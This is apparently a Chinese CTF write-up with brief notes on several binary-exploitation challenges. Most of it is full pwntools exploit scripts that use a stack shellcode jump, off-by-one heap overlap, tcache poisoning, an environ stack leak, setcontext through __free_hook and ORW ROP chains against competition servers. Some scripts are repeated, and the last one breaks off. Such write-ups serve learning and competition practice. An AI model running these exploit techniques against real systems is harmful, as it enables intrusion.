比赛时最后一道没出,当时没看出来,也是赛后询问了R1nd0师傅才知道解法的
栈可执行,往栈上注入shellcode后跳转到栈上执行即可。
libc2.31 orw
存在off by one ,构造好overlap从而实现UAF
泄露libc后,通过environment获取栈地址,然后在栈ret处布置好rop,读出flag
另一种做法 通过freehook来调用setcontext,在freehook附近布置rop,然后栈迁移到此处执行
远程记得文件描述符改为6,本地为3
一道开了orw的2.31的堆
主要是漏洞不太好去发现且利用
此处的索引有未初始化的初值,它可能是不被赋值的,如果我们能够控制,就能任意写堆地址
而backdoor和edit都有次数限制
我们可以查看get_int函数的栈情况,因为它是add函数前调用的一个函数,这个函数可能有机会布置栈帧,从而控制add索引的初值
发现确实有机会,atoi为字符串\x00截断,但read读了0x10字节,故可以布置一定的栈帧
再看赋值堆地址这段
对应
然而ida识别的是:
heap=0x4060
backdoor_time=0x4014
最后的offset为 (backdoor_time-heap)/8=-10
cdqe使用eax的最高位拓展rax高32位的所有位
ida识别错误了,这里用的是*8字节作为索引来,而反汇编显示是4字节 所以还是得看汇编
最终计算得到-10这个偏移值 也就是p32(0xffffffff-9)
用于从heap 以负数做索引写到backdoor 实现backdoor的多次利用
本题没有free函数,故需用house of orange的方法,越界写topchunksize,注意需要对齐
还有记得pre inuse位要为1,故最终fake size是0xb71
最后add一个比这个size大的chunk,就会得到一个unsortedbin
在这之后 我们有几乎无限次的edit和back的任意写机会
先打stdout leak出libc之后,不管是任意写exit(house of banana) 还是直接再leak出栈地址(通过environ)来打返回地址都能打通。
由于个人原因 这里就不贴完整exp了,贴前面到unsortedbin的
from
pwn
import
*
p
=
remote(
'47.106.122.102'
,
49602
)
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
jmp_rsp
=
0x000000000046d01d
shellcode
=
asm(shellcraft.sh())
payload
=
b
'a'
*
0x88
+
p64(jmp_rsp)
payload
+
=
shellcode
p.sendline(payload)
p.interactive()
from
pwn
import
*
p
=
remote(
'47.106.122.102'
,
49602
)
context.log_level
=
'debug'
context.arch
=
'amd64'
context.os
=
'linux'
jmp_rsp
=
0x000000000046d01d
shellcode
=
asm(shellcraft.sh())
payload
=
b
'a'
*
0x88
+
p64(jmp_rsp)
payload
+
=
shellcode
p.sendline(payload)
p.interactive()
from
pwn
import
*
p
=
process(
"./orz"
,env
=
{
'LD_PRELOAD'
:
'./libc-2.31.so'
})
p
=
remote(
'120.79.220.233'
,
41764
)
libc
=
ELF(
"./libc-2.31.so"
)
def
add(size,data):
p.recvuntil(
"Your choose which one?"
)
p.sendline(
"1"
)
p.recvuntil(
"please input note size : "
)
p.sendline(
str
(size))
p.recvuntil(
"please input your note."
)
p.send(data)
def
edit(idx,data):
p.recvuntil(
"Your choose which one?"
)
p.sendline(
"2"
)
p.recvuntil(
"please input note index."
)
p.sendline(
str
(idx))
p.recvuntil(
"please input new note."
)
p.send(data)
def
show(idx):
p.recvuntil(
"Your choose which one?"
)
p.sendline(
"3"
)
p.recvuntil(
"please input note index."
)
p.sendline(
str
(idx))
def
free(idx):
p.recvuntil(
"Your choose which one?"
)
p.sendline(
"4"
)
p.recvuntil(
"please input note index."
)
p.sendline(
str
(idx))
for
i
in
range
(
7
):
add(
0xb0
,
'a'
)
add(
0xb0
,
'a'
)
add(
0xb0
,
'a'
)
add(
0x28
,
'a'
)
add(
0xb0
,
'a'
)
add(
0xb0
,
'a'
)
add(
0xb0
,
'a'
)
for
i
in
range
(
7
):
free(
6
-
i)
for
i
in
range
(
7
):
add(
0xb0
,
'a'
)
show(
4
)
p.recvline()
heap
=
u64(p.recv(
6
)
+
b
'\x00\x00'
)
-
0x2B61
print
(
hex
(heap))
for
i
in
range
(
7
):
free(
6
-
i)
edit(
9
, p64(heap
+
0x2E90
)
*
2
+
b
'\x00'
*
0x10
+
p64(
0x30
)
+
b
'\xc0'
)
free(
10
)
for
i
in
range
(
7
):
add(
0xb0
,
'a'
)
show(
9
)
p.recvline()
libc_base
=
u64(p.recv(
6
)
+
b
'\x00\x00'
)
-
0x1ECBE0
print
(
hex
(libc_base))
libc.address
=
libc_base
add(
0xb0
,
'a'
)
free(
7
)
free(
10
)
edit(
9
,p64(libc.address
+
0x1EF600
-
1
)
+
b
'\n'
)
add(
0xb0
,
'a'
)
add(
0xb0
,
'\n'
)
show(
10
)
p.recvline()
p.recv(
1
)
stack
=
u64(p.recv(
6
)
+
b
'\x00\x00'
)
-
0x120
print
(
hex
(stack))
free(
8
)
free(
7
)
edit(
9
,p64(stack
+
0xa0
)
+
b
'\n'
)
pop_rdi
=
libc.address
+
0x0000000000023b72
pop_rax
=
libc.address
+
0x0000000000047400
pop_rsi
=
libc.address
+
0x000000000002604f
pop_rdx_r12
=
libc.address
+
0x0000000000119241
syscall
=
libc.address
+
0x11876B
payload
=
b''
payload
+
=
p64(pop_rax)
payload
+
=
p64(
1
)
payload
+
=
p64(pop_rsi)
payload
+
=
p64(heap
+
0x4000
)
payload
+
=
p64(pop_rdi)
payload
+
=
p64(
1
)
payload
+
=
p64(syscall)
print
(
hex
(
len
(payload)))
add(
0xb0
,
'/home/pwn/flag\x00'
)
add(
0xb0
,payload)
free(
11
)
free(
7
)
edit(
9
,p64(stack)
+
b
'\n'
)
payload
=
b''
payload
+
=
p64(pop_rax)
payload
+
=
p64(
2
)
payload
+
=
p64(pop_rdi)
payload
+
=
p64(heap
+
0x2Ea0
)
payload
+
=
p64(pop_rsi)
payload
+
=
p64(
2
)
payload
+
=
p64(pop_rdx_r12)
payload
+
=
p64(
2
)
payload
+
=
p64(
0
)
payload
+
=
p64(syscall)
payload
+
=
p64(pop_rax)
payload
+
=
p64(
0
)
payload
+
=
p64(pop_rdi)
payload
+
=
p64(
6
)
payload
+
=
p64(pop_rsi)
payload
+
=
p64(heap
+
0x4000
)
payload
+
=
p64(pop_rdx_r12)
payload
+
=
p64(
0x100
)
payload
+
=
p64(
0
)
payload
+
=
p64(syscall)
print
(
hex
(
len
(payload)))
add(
0xb0
,
'/home/pwn/flag\x00'
)
add(
0xb0
,payload)
p.interactive()
from
pwn
import
*
p
=
process(
"./orz"
,env
=
{
'LD_PRELOAD'
:
'./libc-2.31.so'
})
p
=
remote(
'120.79.220.233'
,
41764
)
libc
=
ELF(
"./libc-2.31.so"
)
def
add(size,data):
p.recvuntil(
"Your choose which one?"
)
p.sendline(
"1"
)
p.recvuntil(
"please input note size : "
)
p.sendline(
str
(size))
p.recvuntil(
"please input your note."
)
p.send(data)
def
edit(idx,data):
p.recvuntil(
"Your choose which one?"
)
p.sendline(
"2"
)
p.recvuntil(
"please input note index."
)
p.sendline(
str
(idx))
p.recvuntil(
"please input new note."
)
p.send(data)
def
show(idx):
p.recvuntil(
"Your choose which one?"
)
p.sendline(
"3"
)
p.recvuntil(
"please input note index."
)
p.sendline(
str
(idx))
def
free(idx):
p.recvuntil(
"Your choose which one?"
)
p.sendline(
"4"
)
p.recvuntil(
"please input note index."
)
p.sendline(
str
(idx))
for
i
in
range
(
7
):
add(
0xb0
,
'a'
)
add(
0xb0
,
'a'
)
add(
0xb0
,
'a'
)
add(
0x28
,
'a'
)
add(
0xb0
,
'a'
)
add(
0xb0
,
'a'
)
add(
0xb0
,
'a'
)
for
i
in
range
(
7
):
free(
6
-
i)
for
i
in
range
(
7
):
add(
0xb0
,
'a'
)
show(
4
)
p.recvline()
heap
=
u64(p.recv(
6
)
+
b
'\x00\x00'
)
-
0x2B61
print
(
hex
(heap))
for
i
in
range
(
7
):
free(
6
-
i)
edit(
9
, p64(heap
+
0x2E90
)
*
2
+
b
'\x00'
*
0x10
+
p64(
0x30
)
+
b
'\xc0'
)
free(
10
)
for
i
in
range
(
7
):
add(
0xb0
,
'a'
)
show(
9
)
p.recvline()
libc_base
=
u64(p.recv(
6
)
+
b
'\x00\x00'
)
-
0x1ECBE0
print
(
hex
(libc_base))
libc.address
=
libc_base
add(
0xb0
,
'a'
)
free(
7
)
free(
10
)
edit(
9
,p64(libc.address
+
0x1EF600
-
1
)
+
b
'\n'
)
add(
0xb0
,
'a'
)
add(
0xb0
,
'\n'
)
show(
10
)
p.recvline()
p.recv(
1
)
stack
=
u64(p.recv(
6
)
+
b
'\x00\x00'
)
-
0x120
print
(
hex
(stack))
free(
8
)
free(
7
)
edit(
9
,p64(stack
+
0xa0
)
+
b
'\n'
)
pop_rdi
=
libc.address
+
0x0000000000023b72
pop_rax
=
libc.address
+
0x0000000000047400
pop_rsi
=
libc.address
+
0x000000000002604f
pop_rdx_r12
=
libc.address
+
0x0000000000119241
syscall
=
libc.address
+
0x11876B
payload
=
b''
payload
+
=
p64(pop_rax)
payload
+
=
p64(
1
)
payload
+
=
p64(pop_rsi)
payload
+
=
p64(heap
+
0x4000
)
payload
+
=
p64(pop_rdi)
payload
+
=
p64(
1
)
payload
+
=
p64(syscall)
print
(
hex
(
len
(payload)))
add(
0xb0
,
'/home/pwn/flag\x00'
)
add(
0xb0
,payload)
free(
11
)
free(
7
)
edit(
9
,p64(stack)
+
b
'\n'
)
payload
=
b''
payload
+
=
p64(pop_rax)
payload
+
=
p64(
2
)
payload
+
=
p64(pop_rdi)
payload
+
=
p64(heap
+
0x2Ea0
)
payload
+
=
p64(pop_rsi)
payload
+
=
p64(
2
)
payload
+
=
p64(pop_rdx_r12)
payload
+
=
p64(
2
)
payload
+
=
p64(
0
)
payload
+
=
p64(syscall)
payload
+
=
p64(pop_rax)
payload
+
=
p64(
0
)
payload
+
=
p64(pop_rdi)
payload
+
=
p64(
6
)
payload
+
=
p64(pop_rsi)
payload
+
=
p64(heap
+
0x4000
)
payload
+
=
p64(pop_rdx_r12)
payload
+
=
p64(
0x100
)
payload
+
=
p64(
0
)
payload
+
=
p64(syscall)
print
(
hex
(
len
(payload)))
add(
0xb0
,
'/home/pwn/flag\x00'
)
add(
0xb0
,payload)
p.interactive()
from
pwn
import
*
p
=
remote(
'120.79.220.233'
,
41764
)
libc
=
ELF(
'./libc-2.31.so'
)
context.log_level
=
'debug'
def
add(size,content):
p.sendlineafter(
'Your choose which one?\n'
,
'1'
)
p.sendlineafter(
'please input note size : '
,
str
(size))
p.sendlineafter(
'note.\n'
,content)
def
edit(idx,content):
p.sendlineafter(
'Your choose which one?\n'
,
'2'
)
p.sendlineafter(
'index.\n'
,
str
(idx))
p.sendafter(
'note.'
,content)
def
show(idx):
p.sendlineafter(
'Your choose which one?\n'
,
'3'
)
p.sendlineafter(
'index.\n'
,
str
(idx))
def
free(idx):
p.sendlineafter(
'Your choose which one?\n'
,
'4'
)
p.sendlineafter(
'index.\n'
,
str
(idx))
heap_array
=
0x40E0
for
i
in
range
(
8
):
add(
0xb0
,b
'aaaa'
)
add(
0x28
,b
'topchunk'
)
for
i
in
range
(
7
):
free(i)
free(
7
)
add(
0x28
,b
'a'
*
7
)
show(
0
)
p.recvuntil(
'\x0a'
)
libc_base
=
u64(p.recv(
6
).ljust(
8
,b
'\x00'
))
-
0x1ecc90
free_hook
=
libc.sym[
'__free_hook'
]
+
libc_base
pop_rdi
=
0x0000000000023b72
+
libc_base
pop_rsi
=
0x000000000002604f
+
libc_base
pop_rdx_r12
=
0x0000000000119241
+
libc_base
pop_rax
=
0x0000000000047400
+
libc_base
gadget
=
0x00000000001518b0
+
libc_base
rop_addr
=
free_hook
-
0x100
flag_addr
=
free_hook
-
0x120
my_flag
=
free_hook
+
0x100
setcontext
=
libc.sym[
'setcontext'
]
+
61
+
libc_base
syscall
=
0x000000000002284d
+
libc_base
syscall_ret
=
0x00000000000630d9
+
libc_base
ret_addr
=
0x00000000000beeb1
+
libc_base
free(
0
)
for
i
in
range
(
7
):
add(
0xb0
,b
'aaaa'
)
add(
0x28
,b
'aaaa'
)
add(
0x28
,b
'aaaa'
)
add(
0x28
,b
'aaaa'
)
add(
0x28
,b
'aaaa'
)
add(
0x28
,b
'aaaa'
)
add(
0xb0
,b
'aaaa'
)
edit(
9
,b
'\x00'
*
0x28
+
b
'\xc1'
)
add(
0xb0
,b
'aaaa'
)
free(
14
)
free(
10
)
add(
0xb0
,b
'aaaa'
)
edit(
10
,b
'\x00'
*
0x28
+
p64(
0xc1
)
+
b
'\n'
)
free(
11
)
edit(
10
,b
'\x00'
*
0x28
+
p64(
0xc1
)
+
p64(free_hook
-
0x120
)
+
b
'\n'
)
success(
'libc_base=>'
+
hex
(libc_base))
success(
'free=>'
+
hex
(free_hook))
success(
"set=>"
+
hex
(setcontext))
add(
0xb0
,b
'aaaa'
)
payload
=
b
'/home/pwn/flag'
payload
=
payload.ljust(
0x10
,b
'\x00'
)
payload
+
=
p64(rop_addr)
*
2
payload
+
=
p64(pop_rdi)
payload
+
=
p64(flag_addr)
payload
+
=
p64(pop_rsi)
payload
+
=
p64(
0
)
payload
+
=
p64(pop_rax)
payload
+
=
p64(
2
)
payload
+
=
p64(syscall_ret)
payload
+
=
p64(pop_rdi)
+
p64(
6
)
payload
+
=
p64(pop_rsi)
+
p64(my_flag)
payload
+
=
p64(pop_rdx_r12)
+
p64(
0x50
)
+
p64(
0
)
payload
+
=
p64(pop_rax)
+
p64(
0
)
payload
+
=
p64(syscall_ret)
payload
+
=
p64(pop_rdi)
+
p64(
1
)
payload
+
=
p64(pop_rsi)
+
p64(my_flag)
payload
+
=
p64(pop_rdx_r12)
+
p64(
0x50
)
+
p64(
0
)
payload
+
=
p64(pop_rax)
+
p64(
1
)
payload
+
=
p64(syscall_ret)
add(
0xb0
,payload[:
0xb0
])
add(
0xb0
,b
'aaaa'
)
free(
15
)
free(
11
)
edit(
10
,b
'\x00'
*
0x28
+
p64(
0xc1
)
+
p64(free_hook
-
0x120
+
0xb0
)
+
b
'\n'
)
add(
0xb0
,b
'aaaa'
)
add(
0xb0
,b
'aaaa'
)
payload2
=
payload[
0xb0
:]
payload2
=
payload2.ljust(
0x70
,b
'\x00'
)
payload2
+
=
p64(
0
)
+
b
'\n'
edit(
15
,payload2)
add(
0xb0
,b
'aaaa'
)
free(
16
)
free(
11
)
edit(
10
,b
'\x00'
*
0x28
+
p64(
0xc1
)
+
p64(free_hook)
+
b
'\n'
)
add(
0xb0
,b
'aaaa'
)
add(
0xb0
,b
'aaaa'
)
payload
=
p64(gadget)
+
p64(free_hook)
+
p64(
0
)
*
2
+
p64(setcontext)
payload
=
payload.ljust(
0xa0
,b
'\x00'
)
payload
+
=
p64(rop_addr)
+
p64(ret_addr)
+
b
'\n'
edit(
16
,payload)
free(
16
)
p.interactive()
from
pwn
import
*
p
=
remote(
'120.79.220.233'
,
41764
)
libc
=
ELF(
'./libc-2.31.so'
)
context.log_level
=
'debug'
def
add(size,content):
p.sendlineafter(
'Your choose which one?\n'
,
'1'
)
p.sendlineafter(
'please input note size : '
,
str
(size))
p.sendlineafter(
'note.\n'
,content)
def
edit(idx,content):
p.sendlineafter(
'Your choose which one?\n'
,
'2'
)
p.sendlineafter(
'index.\n'
,
str
(idx))
p.sendafter(
'note.'
,content)
def
show(idx):
p.sendlineafter(
'Your choose which one?\n'
,
'3'
)
p.sendlineafter(
'index.\n'
,
str
(idx))
def
free(idx):
p.sendlineafter(
'Your choose which one?\n'
,
'4'
)
p.sendlineafter(
'index.\n'
,
str
(idx))
heap_array
=
0x40E0
for
i
in
range
(
8
):
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!